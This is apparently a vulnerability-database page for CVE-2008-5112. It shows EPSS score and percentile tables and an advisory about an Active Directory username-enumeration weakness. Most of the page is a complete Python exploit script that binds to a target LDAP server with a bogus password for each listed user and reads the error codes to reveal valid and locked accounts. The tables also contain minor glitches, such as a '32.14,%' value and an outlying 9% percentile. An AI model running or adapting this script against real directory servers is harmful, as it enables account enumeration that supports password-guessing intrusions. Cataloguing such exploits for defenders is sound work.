CVE-2008-5112 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	25.6%	–	–
2022-04-03	–	–	25.6%	–	–
2023-03-12	–	–	–	4.02%	–
2023-04-09	–	–	–	3.64%	–
2023-05-21	–	–	–	7%	–
2023-07-02	–	–	–	8.39%	–
2023-07-09	–	–	–	8.39%	–
2023-08-13	–	–	–	6.81%	–
2023-10-29	–	–	–	9.11%	–
2024-03-31	–	–	–	9.11%	–
2024-06-02	–	–	–	9.11%	–
2024-08-11	–	–	–	12.34%	–
2024-08-25	–	–	–	12.34%	–
2024-09-15	–	–	–	12.78%	–
2024-11-24	–	–	–	9.45%	–
2024-12-22	–	–	–	7.39%	–
2025-03-16	–	–	–	8.33%	–
2025-01-19	–	–	–	7.39%	–
2025-03-18	–	–	–	–	32.14%
2025-04-15	–	–	–	–	32.14%
2025-04-15	–	–	–	–	32.14,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	96%
2022-04-03	97%
2023-03-12	91%
2023-04-09	9%
2023-05-21	93%
2023-07-02	93%
2023-07-09	94%
2023-08-13	93%
2023-10-29	94%
2024-03-31	95%
2024-06-02	95%
2024-08-11	95%
2024-08-25	96%
2024-09-15	96%
2024-11-24	95%
2024-12-22	94%
2025-03-16	95%
2025-01-19	94%
2025-03-18	96%
2025-04-15	97%
2025-04-15	97%

source: https://www.securityfocus.com/bid/32305/info Microsoft Active Directory is prone to a username-enumeration weakness because of a design error in the application when verifying user-supplied input. Attackers may exploit this weakness to discern valid usernames. This may aid them in brute-force password cracking or other attacks. This issue affects Active Directory on these versions of Windows: Windows 2000 SP4 Windows Server 2003 SP1 and SP2 Other versions may also be affected. #!/usr/bin/env python ''' Microsoft Windows Active Directory LDAP Server Information Disclosure Vulnerability Exploit (c) 2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> License: GPLv2 Version: 0.1 References: * http://labs.portcullis.co.uk/application/ldapuserenum/ * http://www.portcullis-security.com/40.php Successfully tested on: * Microsoft 2000 Server Service Pack 4 + Update Rollup 1 Full Patched at October 2008 * Microsoft 2003 Standard Service Pack 2 Full Patched at October 2008 ''' import os import re import sys import traceback try: import ldap except: print 'ERROR: this tool requires python-ldap library to be installed, get it ' print 'from http://python-ldap.sourceforge.net/ or apt-get install python-ldap' sys.exit(1) from optparse import OptionError from optparse import OptionParser def LDAPconnect(target, port=389, version=ldap.VERSION3): try: # Connect to the remote LDAP server l = ldap.open(target, port) # Set the LDAP protocol version l.protocol_version = version except: print 'ERROR: unable to connect to the remote LDAP server' return l def LDAPinfo(target, info=False): # Connect to the remote LDAP server l = LDAPconnect(target) # Retrieved machine domain domain = None # Set search requirements and directory baseDN = '' searchScope = ldap.SCOPE_BASE resultSet = [] # Retrieve all LDAP attributes retrieveAttributes = None searchFilter = 'objectClass=*' try: # Get LDAP information ldapResultId = l.search(baseDN, searchScope, searchFilter, retrieveAttributes) except ldap.SERVER_DOWN, _: print 'ERROR: unable to connect to the remote LDAP server' return domain while True: resultType, resultData = l.result(ldapResultId, 0) if not resultData: break elif resultType == ldap.RES_SEARCH_ENTRY: resultSet.append(resultData) results = resultSet[0][0][1] if results: if info: print '\n[*] LDAP information:' else: print 'Unable to perform LDAP information gathering, probably anonymous LDAP bind is forbidden' domain = raw_input('Please, provide the machine domain yourself: ') return domain # Print LDAP information for key, values in results.items(): if info: print '\t[*] %s' % key for value in values: if info: print '\t\t[*] %s' % value domainRegExp = re.search('DC=([\w\.]+)', value, re.I) if domainRegExp: domain = domainRegExp.group(1) print return domain def LDAPusersEnum(target, domain): # Enumerated users users = {} # Path to users list usersFilePath = './users.txt' # Active Directory LDAP bind errors # Source: http://www-01.ibm.com/support/docview.wss?rs=688&uid=swg21290631 errorCodes = { #'525': 'user not found', '52e': 'invalid credentials', '530': 'not permitted to logon at this time', '531': 'not permitted to logon at this workstation', '532': 'password expired', '533': 'account disabled', '701': 'account expired', '773': 'user must reset password', '775': 'user account locked', } # Check if users list exists if not os.path.exists(usersFilePath): print 'ERROR: users list file %s not found' % usersFilePath return print 'Going to enumerate users taking \'%s\' file as input\n' % usersFilePath # Load users from a text file fd = open(usersFilePath, 'r') for user in fd.readlines(): user = user.replace('\n', '').replace('\r', '') # Skip empty and commented lines if not user or user[0] == '#': continue # Set search requirements and directory baseDN = '%s@%s' % (user, domain) password = 'UnexistingPassword' try: # Connect and perform an LDAP bind with an invalid password and # request results l = LDAPconnect(target) num = l.bind_s(baseDN, password) result = l.result(num) except ldap.SERVER_DOWN, _: print 'ERROR: unable to connect to the remote LDAP server' return except: # Python LDAP library only handles a number of exception, not # all of the possible ones so we except globally and parse the # exception message to distinguish between existing and # unexisting user errorMessage = str(traceback.format_exc()) detectedErrorCode = re.search(' data ([\w]+),', errorMessage) if not detectedErrorCode: continue detectedErrorCode = detectedErrorCode.group(1).lower() if detectedErrorCode in errorCodes.keys(): users[user] = detectedErrorCode if users: print '[*] Enumerated users:' for user, detectedErrorCode in users.items(): print '\t[*] User: %s' % user print '\t\t[*] LDAP error code: %s' % detectedErrorCode print '\t\t[*] LDAP message: %s' % errorCodes[detectedErrorCode] else: print '[*] No users enumerated' if __name__ == '__main__': usage = '%s [-i] -t <target>' % sys.argv[0] parser = OptionParser(usage=usage, version='0.1') try: parser.add_option('-d', dest='descr', action='store_true', help='show description and exit') parser.add_option('-t', dest='target', help='target IP or hostname') parser.add_option('-i', '--info', dest='info', action='store_true', help='show LDAP information gathering results') (args, _) = parser.parse_args() if not args.descr and not args.target: parser.error('Missing the target, -h for help') except (OptionError, TypeError), e: parser.error(e) if args.descr: print __doc__ sys.exit(0) domain = LDAPinfo(args.target, args.info) if domain: domain = str(domain).upper() LDAPusersEnum(args.target, domain)